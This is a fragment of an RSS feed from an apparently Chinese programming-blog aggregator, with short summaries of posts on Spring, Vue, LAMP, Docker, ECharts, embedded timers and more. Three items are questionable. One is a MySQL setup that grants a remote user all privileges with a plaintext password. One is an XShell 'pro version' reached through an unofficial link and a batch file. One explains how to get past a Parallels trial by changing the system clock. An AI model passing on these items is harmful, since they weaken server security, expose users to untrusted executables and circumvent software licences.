* 位置：在类的上面 * * SpringConfig这个类就相当于beans.xml */ @Configuration public class SpringConfig { /** * 创建方法，方法的返回值是对象。 在方法的上面加入@Bean * 方法的返回值对象就注入到容器中。 * * @Bean: 把对象注入到spring容器中。 作用相当于&amp;lt;bean&amp;gt; * * 位置：方法的上面 * * 说明：@Bean,不指定对象的名称，默认是方法名是 id * */ @Bean public Student createStudent(){ Student s1 = new Student(); s1.</description>
    </item>
    <item>
      <title>【vue报错：Cannot set properties of undefined (setting ‘xxx‘)】</title>
      <link>https://bchobby.github.io/posts/4ff34e6cff564fb91d50b8b31b2b5964/</link>
      <pubDate>Wed, 08 Mar 2023 14:25:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ff34e6cff564fb91d50b8b31b2b5964/</guid>
      <description>Cannot set properties of undefined (setting ‘xxx’) 这个问题主要是在设置数据的时候或者获取变量、属性、方法时获取不到数据，主要有以下情况：&#xA;1.可能是访问域的问题，在外围创建that带指this：let that=this 2.没有定义相对应的变量、属性、方法 3.获取变量、属性、方法的方式不对 遇到访问域情况 解决方法 在方法内使用：const that=this&#xA;转载自：【vue报错：Cannot set properties of undefined (setting ‘xxx‘)】_程序媛_文乐的博客-CSDN博客</description>
    </item>
    <item>
      <title>ubuntu 16.04 搭建PHP环境（LAMP）</title>
      <link>https://bchobby.github.io/posts/52b9d7dd6b709a0ebc6bfe1addada80c/</link>
      <pubDate>Wed, 08 Mar 2023 11:44:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52b9d7dd6b709a0ebc6bfe1addada80c/</guid>
      <description>tzselect 命令设置时区：依次选4)Asia， 9)China，1)Beijing Time， 1) Yes&#xA;sudo apt-get install apache2&#xA;sudo apt-get install php&#xA;sudo apt-get install php7.0-zip&#xA;Ubuntu Server 16.04下安装及配置MySQL（上述有网址说明）&#xA;https://blog.csdn.net/qq_32409653/article/details/78121260&#xA;1.sudo apt-get install mysql-server&#xA;2.设置root密码&#xA;3.mysql -u root -p&#xA;CREATE USER IVMS86X0@&#39;%&#39; IDENTIFIED BY &#39;psw.db7898&#39;;&#xA;grant all privileges on *.* to IVMS86X0@&#39;%&#39; identified by &#39;psw.db7898&#39;;&#xA;FLUSH PRIVILEGES;&#xA;执行quit退出mysql。&#xA;4.sudo vim /etc/mysql/mysql.conf.d/mysqld.cnf&#xA;bind-address = 0.0.0.0&#xA;default-time-zone = &#39;+8:00&#39;&#xA;max_allowed_packet = 256M&#xA;max_connections = 2100&#xA;innodb_buffer_pool_size=4G&#xA;innodb_file_per_table=1&#xA;innodb_autoextend_increment=128&#xA;innodb_max_dirty_pages_pct=90</description>
    </item>
    <item>
      <title>Hyper-V安装Ubuntu</title>
      <link>https://bchobby.github.io/posts/677bc32985011cea81f60592c3babce4/</link>
      <pubDate>Wed, 08 Mar 2023 11:28:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/677bc32985011cea81f60592c3babce4/</guid>
      <description>基于win10自带虚拟机 Hyper-V 安装Ubuntu-22.04.1-desktop-amd64&#xA;文章目录 Hyper-V开始创建第一栏第二栏第三栏第四栏第五栏第六栏第七栏第八栏 配置结束 Hyper-V Hyper-V 虚拟机调配&#xA;Hyper-V是Windows系统自带的虚拟机软件。在底部菜单的搜索栏输入“Hyper-V”，在打开的管理器中勾选“Hyper-V”才能启动虚拟机服务(该操作完成后重启电脑)。再一次在搜索栏中输入“Hyper-V”，打开主页面。&#xA;选择新建，在弹出来的新选项中点击虚拟机，至此正式开始创建虚拟机。&#xA;开始创建 第一栏 创建虚拟机的页面，最左边一共有8栏，其中第一栏开始之前仅需阅读后点击下一步。&#xA;第二栏 指定名称和位置&#xA;自定义命名虚拟机名字，定义名称后点击下一步。&#xA;第三栏 指定虚拟机代数&#xA;创建第一代虚拟机，点击下一步。&#xA;第四栏 分配内存&#xA;为防止内存不足产生报错，此处分配的内存大小为2048MB，勾选使用动态内存，点击下一步。&#xA;第五栏 配置网络 需要为虚拟机提供上网功能，因此配置虚拟网卡，点击下一步。&#xA;第六栏 连接虚拟硬盘&#xA;此处选择第一个选项“创建虚拟硬盘”，为虚拟硬盘命名并选择存储位置，硬盘大小建议设定15GB以上(系统总大小约为9G，后续进行安装的文件较大为保证空间充足尽可能设定较大存储)，此处设定20GB。点击下一步。&#xA;第七栏 安装选项&#xA;手动从Ubuntu官网下载系统安装包，并在映像文件路径指向系统安装包所在。点击下一步。&#xA;第八栏 摘要&#xA;此处可以看见虚拟机配置的基本参数，确认无误后点击完成即可。&#xA;配置结束 配置好的虚拟机后，右键目标虚拟机，点击启动。启动后的界面选择第一项“Try or Install Ubuntu”，按回车启动。&#xA;至此，正式进入Ubuntu安装。</description>
    </item>
    <item>
      <title>个人收集的网站，可以参考（程序员可收藏）</title>
      <link>https://bchobby.github.io/posts/565239d21d6556eb609001eab806a9e9/</link>
      <pubDate>Wed, 08 Mar 2023 11:15:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/565239d21d6556eb609001eab806a9e9/</guid>
      <description>程序员是一个需要不断学习的职业，幸运的是，在这个互联网时代，有很多渠道可以获取知识。&#xA;1在线教程 1、how2j.cn 地 址：https://how2j.cn/&#xA;简 介：一个Java全栈开发教程网站，内容全面，简洁易懂，非常适合入门。&#xA;2、w3cschool 地 址：https://www.w3cschool.cn/&#xA;简 介：前端和脚本语言为主的在线教程网站，前端的内容非常不错&#xA;3、菜鸟教程 地 址：https://www.runoob.com/&#xA;简 介：和w3cschool类似的在线教程网站，前端学习看这两个网站就够了。&#xA;4、易百教程 地 址：易百教程 易百教程™ - 专注于IT教程和实例&#xA;简 介：内容比较全面的在线教程网站。&#xA;6、简单教程 地 址：https://www.twle.cn/&#xA;简 介：大量IT编程入门教程(前端、移动端、Java、.net等)&#xA;7、并发编程网 地 址：http://ifeve.com/&#xA;简 介：比较不错的技术网站，以Java为主，关注并发、NIO、JVM、框架等方面的内容。&#xA;2视频教程 上面的在线教程网站以文字性内容为主，同样收藏了一些以视频为主的一些网站，相比较而言，更容易上手，当然，也更加耗时间。&#xA;1、B站 地 址：https://www.bilibili.com/&#xA;简 介：没错，bilibili也可以用来学习，除了番剧、鬼畜之外，b站同样有非常多的高质量的编程教学视频，搜索就行了。&#xA;2、慕课网 地 址：https://www.imooc.com/&#xA;简 介：比较不错的编程视频教学网站，可以找到比较体系的东西&#xA;3、我要自学网 地 址：（敏感词，自行百度） 我要自学网-视频教程|免费教程|自学电脑|3D教程|平面教程|影视动画教程|办公教程|机械设计教程|网站设计教程-我要自学网&#xA;简 介：比较多的自学教程，有程序设计内容的分类。&#xA;3官网 毫无疑问，一项技术，最权威的文档一定是它的官方文档，所有的教程、书籍都是直接或者间接在官方相关文档的基础上完成。所以，编程学习，后面最好还是要看官网的。当然，官网大部分都是英文——其实配合一些翻译插件，没有想象中的那么难。&#xA;1、Java 地 址：https://www.java.com/zh_CN/ 、https://docs.oracle.com/en/java/javase/index.html&#xA;简 介：这个不需要多介绍，Java官网和Java官方API。&#xA;2、Spring 地 址：https://spring.io/&#xA;简 介：毫无疑问Spring已经成为Java EE事实上的标准。&#xA;3、MySQL 地 址：https://www.</description>
    </item>
    <item>
      <title>关于“深度学习”的学习方向</title>
      <link>https://bchobby.github.io/posts/e4b0d14c3f419d559632a406f459a41d/</link>
      <pubDate>Wed, 08 Mar 2023 10:03:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4b0d14c3f419d559632a406f459a41d/</guid>
      <description>当下，深度学习已成为人工智能领域的热门研究方向之一，吸引了大量研究者和工业界从业者的关注和投入。深度学习是机器学习的一种特殊形式，它通过建立多层神经网络模型，实现对复杂数据的高效表征和处理。&#xA;一、深度学习的基础&#xA;深度学习的核心思想是建立深层次的神经网络模型，实现对数据的高级表征和处理。在深度学习中，我们通常使用反向传播算法（Backpropagation）来训练神经网络，以求得最优的参数配置，使得网络的预测结果尽可能接近于真实数据标签。&#xA;在深度学习中，常用的神经网络模型包括全连接神经网络（Fully Connected Neural Network）、卷积神经网络（Convolutional Neural Network）、循环神经网络（Recurrent Neural Network）等。这些模型不仅具有不同的结构和特点，而且也适用于不同的数据类型和应用场景。&#xA;二、深度学习的应用&#xA;深度学习已经广泛应用于图像识别、语音识别、自然语言处理、推荐系统、智能游戏等领域。其中，图像识别是深度学习应用的最重要场景之一。基于深度学习的图像识别技术已经达到了人类的水平，并在人脸识别、物体检测、图像分割等任务中得到广泛应用。&#xA;此外，深度学习在自然语言处理方面也取得了不俗的成就，包括机器翻译、情感分析、语言模型等。深度学习在推荐系统和广告推荐等领域的应用也越来越受到重视。&#xA;三、深度学习的学习方法&#xA;深度学习是一门需要深入学习的学科，需要掌握一定的数学和编程基础。在学习深度学习时，您可以先学习线性代数、概率论、统计学等数学基础知识，以便更好地理解深度学习的算法原理和技术细节。&#xA;同时，您还需要熟练掌握编程语言，如Python，以及深度学习框架，如TensorFlow、PyTorch等。这些工具和技术可以帮助您更快地实现深度学习算法，并在实践中不断探索和优</description>
    </item>
    <item>
      <title>工具及方法 - Windows中出现网络访问问题的解决方法</title>
      <link>https://bchobby.github.io/posts/56e0c7074e11d719361674831d337ec1/</link>
      <pubDate>Wed, 08 Mar 2023 09:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56e0c7074e11d719361674831d337ec1/</guid>
      <description>家里的PS4，突然用电信网刷新不了PS会员游戏了。同样的网，登录微软账号也登不上。难道是网络问题？&#xA;可我换成手机热点就是好的，而且PS4再用电信网络就恢复了。&#xA;让我郁闷了一下，开始怀疑人生。后来上网查了一下，可能是IPv6设置问题，我把IPv6禁掉了，微软账号登录就好了。&#xA;所以专门查找了一下关于网络设置问题的解决方法，内容如下。&#xA;IPv4和IPv6的地址是用来识别和连接网络上的设备的。当你连网后，会获得多个地址，一般是有一个IPv4地址和一个IPv6地址。IPv6是一个新的网络标准，相对IPv4这个老标准，可以构成更大的网络来连接更多的设备。&#xA;Internet Protocol Version 6 (IPv6)是一个包交换的数据通讯协议，由IETF(Internet Engineering Task Force)开发，为了解决IPv4的地址不够用的问题。它是IPv4的继任者，将来会逐步取代IPv4。&#xA;不过现在应用最广泛的还是IPv4协议。因为很多设备不支持IPv6，ISP运行商也支持的不多，有的情况默认也不使能IPv6。&#xA;在正常配置下，大多需要联网的设备都需要至少两者之一的网络协议。&#xA;不过有时一个设备可能只有IPv4地址连接，而没有IPv6地址连接。比如在Windows下，查看网络连接的状态信息，可能显示只有IPv4的网络连接，而没有IPv6的：&#xA;出现这种情况可能会有多种原因，有时会影响你上网，你的网络访问就可能出现“No Internet Access”错误，表明你的internet连接哪里出了问题。&#xA;我们说的问题有两种情况，一种是“No Internet Access”，表明网络连接问题；一种是“No network access”，表明DHCP服务器没有检测到，所以没有分配本地IP地址。比如：&#xA;一些常见的网络问题包括你的路由器配置问题、网络设置问题、错误的网络驱动程序、不正确的DNS服务器地址或IP地址、第三方安全管理如防火墙等，以及IPv6兼容性问题。&#xA;有时很难找出确切的原因，但有一些一般的修复方法，你可以尝试一下，看看是否能解决问题。因此，这里有一些故障排除方法可以帮助你解决Windows电脑上的 &#34;无法上网 &#34;错误。&#xA;在尝试修复没有网络连接问题前，可以尝试重启一下电脑，也许问题就解决了。重启可以解决很多电脑运行时发生的不正常情况。&#xA;类似的，如果Windows系统长时间未更新，也可以更新一下。&#xA;如果你的设备有客服，或者有专业的IT人员可以咨询，找他们帮忙也是一个非常好的选择。&#xA;1. 重新连接到你的网络&#xA;你可以通过从你的Windows电脑上删除你的网络设置来解决 &#34;IPv4/IPv6无法访问互联网 &#34;的错误。完成后，重新连接到同一网络，检查是否有任何改善。&#xA;通过系统设置来操作：&#xA;- 按Win + I 打开设置。接下来，点开Network &amp;amp; Internet组件，在侧边栏选择Wi-Fi，将开关有On改成Off，然后稍等下，再切回On。&#xA;- 直接Win + Q，输入Wifi进行搜索。切回on以后，再选择无线网络进行连接。&#xA;- 在右下角电脑图标出，点击Wifi图标直接关闭和再次打开Wifi，并选择想使用的无线网络。如下图：&#xA;通过网卡设置来操作：&#xA;Win + R，运行ncpa.cpl，显示出的各个网络适配器，右键菜单里点击Disable，然后再右键菜单里点击Enable。&#xA;可以将你的网络连接挨个禁用再启用，来识别一下问题所在。&#xA;2，Reset Winsock catalog。&#xA;Winsock的重要设置保存在一个数据库中，通常这个数据库就叫做Winsock Catalog。它包含了系统上可用的不同协议，比如系统安装了TCP/IP，就会有两条IP条目，一条是TCP，一条是UDP。根据这些条件，来决定使用Winsock的应用和通讯的交互方式，&#xA;&#34;IPv4/IPv6 No Network Access&#34;的另一种错误类型，是个别应用程序的网络访问有问题。比如，浏览器可以上网，但电子邮件客户端无法连接网络。这可能是由于网络配置被破坏而发生的。幸运的是，你可以用Winsock catalog reset来快速修复它。在命令行终端，输入一连串的命令，将重要的网络设置重置为默认值。 步骤如下：&#xA;a，按Win + S打开Windows搜索。（Win + Q也可以）</description>
    </item>
    <item>
      <title>AttributeError: ‘str‘ object has no attribute ‘parse‘</title>
      <link>https://bchobby.github.io/posts/44168bf100c61252f3a893986b7510af/</link>
      <pubDate>Tue, 07 Mar 2023 21:15:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44168bf100c61252f3a893986b7510af/</guid>
      <description>今天,使用python提取版本号，&#xA;#pip3 install packaging from packaging import version A=&#39;3.5.2&#39; version.parse(A) 发现报错&#xA;AttributeError: &#39;str&#39; object has no attribute &#39;parse&#39; 我在另一台电脑就没问题，搜半天也没找到，然后我试了下重新导入&#xA;import packaging.version A=&#39;3.5.2&#39; packaging.version.parse(A) &amp;lt;Version(&#39;3.5.2&#39;)&amp;gt; 莫名奇妙的搞定了。</description>
    </item>
    <item>
      <title>docker与容器文件传输</title>
      <link>https://bchobby.github.io/posts/b0082837c60eb5a456d61ebb2a52f26b/</link>
      <pubDate>Tue, 07 Mar 2023 20:26:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0082837c60eb5a456d61ebb2a52f26b/</guid>
      <description>1、文件复制到容器 dcoker cp 本机文件名或者文件路径 容器ID:容器内的路径&#xA;如：&#xA;docker cp jenkins.war 6f7ab9a56e21:/usr/share/jenkins/ 将本机的jenkins.war文件拷贝的容器id为“6f7ab9a56e21”中的“/usr/share/jenkins/”文件夹下&#xA;2、容器内文件拷贝到宿主机 dcoker cp ID全称:容器文件路径 本地路径&#xA;如：&#xA;docker cp 6f7ab9a56e21:/usr/share/jenkins/jenkins.war /mydata/jenkins/ 将容器的jenkins.war文件拷贝的到宿主机（本机）的/mydata/jenkins/文件夹下</description>
    </item>
    <item>
      <title>echarts自定义系列custom实现时间线图</title>
      <link>https://bchobby.github.io/posts/50c1ab1c4fa86a617bc476cbb9729975/</link>
      <pubDate>Tue, 07 Mar 2023 19:20:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50c1ab1c4fa86a617bc476cbb9729975/</guid>
      <description>echarts可以用custom自定义实现各种图形，需要提供一个renderItem方法，这里介绍一个自定义的时间线图，每天在干啥一目了然。&#xA;先生成一些假数据：&#xA;var data = []; var dataCount = 10; var startTime = +new Date(&#39;2023-03-01 09:00:00&#39;); var categories = [&#39;2023-03-01&#39;, &#39;2023-03-02&#39;, &#39;2023-03-03&#39;]; var types = [ { name: &#39;吃饭&#39;, color: &#39;#7b9ce1&#39; }, { name: &#39;睡觉&#39;, color: &#39;#bd6d6c&#39; }, { name: &#39;学习&#39;, color: &#39;#75d874&#39; }, { name: &#39;摸鱼&#39;, color: &#39;#e0bc78&#39; }, { name: &#39;贤者时间&#39;, color: &#39;#dc77dc&#39; }, { name: &#39;开黑&#39;, color: &#39;#72b362&#39; } ]; categories.forEach(function (category, index) { var baseTime = startTime; for (var i = 0; i &amp;lt; dataCount; i++) { var typeItem = types[Math.</description>
    </item>
    <item>
      <title>odps常用命令</title>
      <link>https://bchobby.github.io/posts/c60918d2a84ad3482b3414c955fe2951/</link>
      <pubDate>Tue, 07 Mar 2023 18:08:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c60918d2a84ad3482b3414c955fe2951/</guid>
      <description>odpscmd使用： 源端配置好 config.ini:project,ak,sk service地址，tunnel地址 odpscmd 下载 odps@ odps_project&amp;gt;tunnel download dim_trans_flg_c0087 ./dim_trans_flg_c0087.txt; 目标端配置好 config.ini:project,ak,sk service地址，tunnel地址 odpscmd 上传 odps@ odps_project&amp;gt;tunnel upload dim_trans_flg_c0087.txt dim_trans_flg_c0087; 表、视图导入： ./odpscmd/bin/odpscmd --config=./odps_config_dest.ini -f odps_project_view.sql 获取当前登录用户： odps@project_name&amp;gt;whoami; 退出MaxCompute客户端： odps@project_name&amp;gt;quit; --等价于如下命令。 odps@project_name&amp;gt;q; 获取命令帮助 方式一：在MaxCompute客户端查看命令帮助信息。 odps@project_name&amp;gt;help; --等价于如下命令。 odps@project_name&amp;gt;h; odps@project_name&amp;gt;help table; --列举项目空间 list projects; --进入项目空间 use cy1_odps; --列举表名称 show tables; where options include: --help (-h)for help --config=&amp;lt;config_file&amp;gt; specify another config file --project=&amp;lt;prj_name&amp;gt; use project --endpoint=&amp;lt;http://host:port&amp;gt; set endpoint -k &amp;lt;n&amp;gt; will skip begining queries and start from specified position -r &amp;lt;n&amp;gt; set retry times -f &amp;lt;&#34;</description>
    </item>
    <item>
      <title>SysTick滴答定时器使用库函数实现1us和1ms精确定时（超短代码）（内含源码.c/.h）</title>
      <link>https://bchobby.github.io/posts/a75d995eb4f32ef2828368d2a2db0481/</link>
      <pubDate>Tue, 07 Mar 2023 16:25:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a75d995eb4f32ef2828368d2a2db0481/</guid>
      <description>一、SysTick介绍 SysTick—系统定时器是属于CM4内核中的一个外设，内嵌在NVIC中。一般我们叫他系统定时器或者滴答定时器。是一个24bit的向下递减的计数器，计数器每计数一次的时间为1/SYSCLK，当重装载数值寄存器的值递减到 0的时候，系统定时器就产生一次中断，以此循环往复。嵌入式操作系统常有一个类似“心跳”的定时器，来分配时间片，实现宏观上的多任务。其实，操作系统的多任务，在微观上，CPU对多任务的管理是分时的。每个任务都给一定的时间片，就是把时间分成N个等份，优先级高或是重要的任务多占几个时间片，优先级低的或是不重要的任务就少占几个时间片。大部分嵌入式操作系统是基于时间片的。如ucos。systick结论总结如下：&#xA;1、systick是一个24位的定时器，故重装值最大值为2的24次方 = 16 777 215，要注意不要超出这个值。&#xA;2、systick是cortex_m3的标配，不是外设，不需要在RCC寄存器组打开它的时钟。&#xA;3、每次systick溢出后会置位计数标志位和中断标志位，计数标志位在计数器重装载后被清除，而中断标志位也会随着中断服务程序的响应被清除，所以这两个标志位都不需要手动清除。&#xA;4、采用使用库函数的方法，只能采用中断的方法响应定时器计时时间到，如要采用查询的方法，那只能采用设置systick的寄存器的方法。&#xA;定时原理：SysTick定时器的计数器是向下递减计数的，计数一次的时间当寄存器中的值LOAD减到0时，产生中断，可得中断一次的时间为：其中&#xA;比如在STM32F103x中SystemCoreClock是固件中定义的系统内核时钟,一般为78MHZ&#xA;即：=78MHZ，假如LOAD为78则，定时时间为&#xA;库函数SysTick_Config()函数的形参表示内核时钟有多少个周期触发一次systick定时中断&#xA;SystemCoreClock / 1000 表示定时频率为 1000Hz， 也就是定时周期为 1ms SystemCoreClock / 500 表示定时频率为 500Hz， 也就是定时周期为 2ms SystemCoreClock / 2000 表示定时频率为 2000Hz， 也就是定时周期为 500us 在delay.c中第18行中SystemCoreClock/1000000)就是定时1us,当然也可以直接传递72，但是若是换个单片机时钟不是72MHZ则会定时错误，所以使用SystemCoreClock/1000000)更方便移植程序。&#xA;二、精确定时源码 delay.c&#xA;//使用时记得将stm3210x_it.c中 //void SysTick_Handler(void) //{ //} //注销掉 #include &#34;delay.h&#34; /******************************************************************************* *函数的原型：void Sys_Delay_Init(void) *函数的功能：系统滴答定时器初始化 *函数的参数：None *函数返回值：None *函数的说明： SysTick_Config()：系统滴答定时器初始化 返回1，说明初始化不成功 ********************************************************************************/ void Sys_Delay_Init(void) { if(SysTick_Config(SystemCoreClock/1000000) == 1)//1微秒 { while(1); } } u32 sys_time = 0; void SysTick_Handler(void) { sys_time++; } /******************************************************************************* *函数的原型：void delay_us(u32 us) *函数的功能：微秒延时函数 *函数的参数： @ u32 us：微秒 [1,4294967296] *函数返回值：None *函数的说明： 系统滴答定时器 ********************************************************************************/ void delay_us(u32 us) { sys_time = 0; while(sys_time !</description>
    </item>
    <item>
      <title>逢七拍手游戏--课后程序(Python程序开发案例教程-黑马程序员编著-第3章-课后作业)</title>
      <link>https://bchobby.github.io/posts/239ac004cd39f545bc33348f976e6a22/</link>
      <pubDate>Tue, 07 Mar 2023 13:41:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/239ac004cd39f545bc33348f976e6a22/</guid>
      <description>实例7：逢七拍手游戏 逢7拍手游戏的规则是：从1开始顺序数数，数到有7或者包含7的倍数的时候拍手。本实例要求编写程序，模拟实现逢七拍手游戏，输出100以内需要拍手的数字。&#xA;实例目标 掌握for循环与range()函数的使用掌握字符串中find()方法的使用 实例分析 判断一个数字是否与7相关，可分为两种情况：&#xA;1.是否为7的倍数，即一个数取模值为0；&#xA;2.是否包含7，使用find()方法判断，当返回值为-1时表示不包含7。&#xA;代码实现 for i in range(1, 101):&#xA;# 把i转成字符串，使用find方法（字符串中不包含时，返回-1）&#xA;include = str(i).find(&#34;7&#34;) # 判断条件：既不包含7，也不是7的倍数&#xA;if include == -1 and int(i) % 7 != 0:&#xA;# 输出，去掉了换行符，加了、&#xA;print(i, end=&#34;、&#34;)&#xA;# 如果包含7 输出*&#xA;elif include != -1 or int(i) % 7 == 0:&#xA;print(&#34;*&#34;, end=&#39;、&#39;)&#xA;首先使用for循环与range()函数生成1-100的整数序列，之后通过字符串中的find()方法判断1-100中每个数字是否包含7，并将返回值赋值给变量include，然后使用if-elif语句判断每个数字是否与7相关，如果include的值为-1，并且该数与7取模的值不为0，则该数与7无关，如果include的值不为-1或者与7取模的值为0，那么该数与7相关，使用print()函数打印“*”符号。&#xA;代码测试 运行代码，控制台输出结果如下：&#xA;1、2、3、4、5、6、*、8、9、10、11、12、13、*、15、16、*、18、19、20、*、22、23、24、25、26、*、*、29、30、31、32、33、34、*、36、*、38、39、40、41、*、43、44、45、46、*、48、*、50、51、52、53、54、55、*、*、58、59、60、61、62、*、64、65、66、*、68、69、*、*、*、*、*、*、*、*、*、*、80、81、82、83、*、85、86、*、88、89、90、*、92、93、94、95、96、*、*、99、100、</description>
    </item>
    <item>
      <title>JS获取URL参数的4种方法总结</title>
      <link>https://bchobby.github.io/posts/b13a034c03e220108ab55626a8720654/</link>
      <pubDate>Tue, 07 Mar 2023 11:45:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b13a034c03e220108ab55626a8720654/</guid>
      <description>1.字符串 split 方法 let URL = &#34;http://www.baidu.com?name=张三&amp;amp;age=25&amp;amp;sex=男&amp;amp;wife=小红&#34; function getUrlParams(url) { // 通过 ? 分割获取后面的参数字符串 let urlStr = url.split(&#39;?&#39;)[1] // 创建空对象存储参数 let obj = {}; // 再通过 &amp;amp; 将每一个参数单独分割出来 let paramsArr = urlStr.split(&#39;&amp;amp;&#39;) for(let i = 0,len = paramsArr.length;i &amp;lt; len;i++){ // 再通过 = 将每一个参数分割为 key:value 的形式 let arr = paramsArr[i].split(&#39;=&#39;) obj[arr[0]] = arr[1]; } return obj } console.log(getUrlParams(URL)) 2.利用 URLSearchParams 方法 在 MDN（MDN是一个为所有的学习者从初级到高级的全面、定期更新的Web开发技术指南网站） 中结合两种方法实现参数的获取：&#xA;使用 new URLSearchParams(url) 方法，返回一个 URLSearchParams 对象，再调用 entries() 方法返回一个可迭代对象（Iterator）；使用 Object.</description>
    </item>
    <item>
      <title>nginx&#43;lua(openresty)根据参数转发请求</title>
      <link>https://bchobby.github.io/posts/610d1fd5167281040dc0641db4de48e4/</link>
      <pubDate>Tue, 07 Mar 2023 10:47:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/610d1fd5167281040dc0641db4de48e4/</guid>
      <description>lua脚本内容：&#xA;--解析请求数据的json local cjson = require &#39;cjson&#39; --http转发 local https = require &#39;resty.http&#39; --服务器一 local server_one_url = &#39;http://192.168.1.2:8010/calc&#39; --服务器二 local server_two_url = &#39;http://192.168.1.2:8010/calc&#39; --http post 请求方法 local function http_post(url, data) local http = https:new() -- 设置请求的超时时间 http:set_timeouts(600000, 600000, 600000) local res, err = http:request_uri(url, { method = &#39;POST&#39;, body = data, headers = { [&#39;Content-Type&#39;] = &#39;application/json&#39;; }, -- 设置关闭keepalive keepalive = false, keepalive_timeout = 1, keepalive_pool = 1000 }) --这里一定要做 and 校验 if res and res.</description>
    </item>
    <item>
      <title>10 分钟搞懂 Vite devServer，速来围观</title>
      <link>https://bchobby.github.io/posts/480925d61a1b5746c2a6b3d12bd50626/</link>
      <pubDate>Tue, 07 Mar 2023 10:06:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/480925d61a1b5746c2a6b3d12bd50626/</guid>
      <description>一、初始 cli 启动服务做了什么？ pacakge.json 的 bin 指定可执行文件：&#xA;&#34;bin&#34;: { &#34;vite&#34;: &#34;bin/vite.js&#34; } 复制代码 在安装带有 bin 字段的 vite 包，那可执行文件会被链接到当前项目的./node_modules/.bin 中，所以,npm 会从 vite.js 文件创建一个到/usr/local/bin/vite 的符号链接(这使你可以直接在命令行执行 vite)如下证明：&#xA;在本地项目中，也可以很方便地利用 npm 执行脚本（package.json 文件中 scripts 可以直接执行：&#39;node node_modules/.bin/vite&#39;）&#xA;那 vite.js 做了什么？&#xA;cli.ts 才算真正的启动服务，做 cli 命令的相关配置：&#xA;import { cac } from &#39;cac&#39; // 是一个用于构建 CLI 应用程序的 JavaScript 库 const cli = cac(&#39;vite&#39;) cli .option(&#39;-c, --config &amp;lt;file&amp;gt;&#39;, `[string] use specified config file`) // 明确的 config 文件名称,默认 vite.config.js .ts .</description>
    </item>
    <item>
      <title>XShell 7 绿色版一键安装教程</title>
      <link>https://bchobby.github.io/posts/5c690ca4a212d9be2cf41e50c022c909/</link>
      <pubDate>Tue, 07 Mar 2023 09:54:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c690ca4a212d9be2cf41e50c022c909/</guid>
      <description>一、Xshell是什么？ [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CpHAre04-1678153825299)(https://u5mwn062nv.feishu.cn/space/api/box/stream/download/asynccode/?code=ZDhiNDJjYzE3YzI1ZmQ0MGQ4NmU3MWQwZTE1YTFmMTNfbkV3cG1xU1hlZ3FiSGpSQzBsWEthYng3elZGWUlNdmpfVG9rZW46Ym94Y25vQ3pBYzQ3NWM5MEZqVXFsSURxWHRkXzE2NzgxNTI4OTI6MTY3ODE1NjQ5Ml9WNA)]&#xA;Xshell是一款功能强大且安全的终端模拟器，支持SSH、SFTP、TELNET、RLOGIN和SERIAL。是一款终端远程连接服务器的Windows软件，主要用于在Windows系统上远程操控服务器进行工作以及统一管理多台服务器集群，它通过多种不同的连接协议和密码，保障着用户的连接服务器安全。&#xA;二、软件安装（官方免费版） 双击下载好的Xshell Plus 7安装包，打开安装向导，选择“下一步”。 请您仔细阅读用户许可协议，同意请勾选“我同意许可证协议中的条款”，并选择“下一步”。 选择程序安装路径，默认在C盘，需要更改请选择“浏览”，完成请选择“下一步”。 安装向导准备就绪，可以开始安装了，继续请选择“安装”。 正式开始安装，该过程会持续几分钟，请耐心等待，不要关闭或重启电脑。 选择“完成”，完成安装程序。 安装完成截图：&#xA;三、软件安装（官方专业版） 获得专业版软件（无需破解！！官方正版，安装即可使用！！永久有效！！！） 最新版下载【直接粘贴到浏览器即可获取】&#xA;https://u5mwn062nv.feishu.cn/docx/Ewqpd9hDxootrSxEDSkcNbFInqf&#xA;直接解压文件到本地目录中 点击!绿化.bat，桌面会自动化生成Xshell程序 安装完成截图：</description>
    </item>
    <item>
      <title>parallels试用期到了怎么办？parallels试用期到期可继续使用</title>
      <link>https://bchobby.github.io/posts/e79825b46a46d059c1a3fb957b49c4db/</link>
      <pubDate>Tue, 07 Mar 2023 09:24:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e79825b46a46d059c1a3fb957b49c4db/</guid>
      <description>parallels desktop即将到期就无法用了吗&#xA;能用，通过修改笔记本电脑时间就能继续采用。&#xA;关上系统偏好设置中的日期与时间。&#xA;把系统时间改成2021年4月1日。&#xA;下载安装包，安装pd,再安装win10系统。&#xA;Win10安装好后，重启笔记本电脑。&#xA;重启后，在此关上系统偏好设置中的日期与时间，把时间改回来。&#xA;关上下载的包，把pd启动 安装到应用程序。&#xA;在应用程序，关上pd启动，如果提示 试玩即将到期，就关上Parallels Desktop。能进win系统的话，全部退出，然后用pd启动关上。如果能进去，说明获得成功了。&#xA;也可以使用Parallels Desktop 18&#xA;更加方便好用！</description>
    </item>
    <item>
      <title>断点调试(debug)</title>
      <link>https://bchobby.github.io/posts/a4c36d644336dec8d5bdd191791cc268/</link>
      <pubDate>Mon, 06 Mar 2023 22:19:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4c36d644336dec8d5bdd191791cc268/</guid>
